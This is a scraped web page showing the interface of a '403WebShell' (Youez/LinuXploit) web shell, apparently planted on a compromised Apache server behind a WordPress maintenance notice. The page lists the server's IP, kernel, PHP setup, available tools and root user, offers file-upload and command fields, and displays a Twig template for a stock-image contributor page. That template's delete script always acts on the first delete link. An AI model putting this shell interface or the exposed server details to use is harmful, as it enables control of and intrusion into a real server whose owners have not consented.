WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.240
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/templates/contributor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/templates/contributor/all_image_uploads.html.twig
{% extends 'contributor/layout.html.twig' %}

{% block title %}Stock{% endblock %}
     {% block contributor_body %}
         <div class="app_main_inner">
             <div class="page_excerpt">
                 <h2 class="sr_heading_title">All My Stock</h2>
             </div>
             <div class="row">
                 <div class="col-lg-12">
                     {% for message in app.flashes("delete_message") %}
                         <div class="alert alert-success">{{ message }}</div>
                     {% endfor %}
                     <div class="mb-3 card">
                         <div class="card-header">
                             <div class="card-header-title">My Stock (<span class="count">{{ allStock|length }}</span>)</div>
                             <a class="btn creat_new" href="{{ path('stock_images_upload') }}">
                                 <svg class="tdm_svg_icon">
                                     <use xlink:href="#plus_icon"></use>
                                 </svg>
                                 <span class="button_primary_label">New Upload</span>
                             </a>
                         </div>
                         <div class="datagrid ">
                             <table class="">
                                 <thead>
                                 <tr>
                                     <th>File</th>
                                     <th>ID</th>
                                     <th>Title</th>
                                     <th>License Type</th>
                                     <th>Price</th>
                                     <th>No of Views</th>
                                     <th>Delete</th>
                                 </tr>
                                 </thead>
                                 <tbody>
                                 {% for stock in allStock %}
                                     <tr>
                                         <td data-label="File"><img src="{{ asset('uploads/stock/')~stock.thumbName }}" class="cart_thumbnail"></td>
                                         <td data-label="ID"> {{ stock.formattedId ? stock.formattedId : stock.id }}</td>
                                         <td data-label="Title"> {{ stock.title }}</td>
                                         <td data-label="License Type"> {{ stock.licenceType is not null? stock.licenceType:"Royalty Free" }}</td>
                                         <td data-label="Price"> {{ stock.priceLarge is not null ? stock.priceLarge|localizedcurrency('USD') : (stock.price*2)|localizedcurrency('USD') }}</td>
                                         <td data-label="No of Views"> {{ stock.views?stock.views:0 }}</td>
                                         <td data-label="Delete">
                                             <a
                                                     href="{{ path('stock_delete_file', {'image': stock.fileName }) }}"
                                                     data-url="{{ path('stock_delete_file', {'image': stock.fileName }) }}"
                                                     data-stock-title="{{ stock.title }}"
                                                     data-type="pending"
                                                     class="delete_icon"
                                                     data-file="{{ stock.fileName }}">
                                                 <svg class="item_svg_icon">
                                                     <use xlink:href="#delete"></use>
                                                 </svg>
                                             </a>
                                         </td>
                                     </tr>
                                 {% endfor %}
                                 </tbody>
                             </table>
                         </div>
                     </div>
                 </div>

             </div>
         </div>

         <script type="text/javascript">
             $('.delete_icon').on('click',function (e) {
                 e.preventDefault();
                 deleteItem();

             });

             function deleteItem() {
                 if (confirm("Are you sure you want to delete this file?")) {
                     //console.log(el);
                     window.location.href = $('.delete_icon').attr('href');
                 }
                 return false;
             }
         </script>
     {% endblock %}

Youez - 2016 - github.com/yon3zu
LinuXploit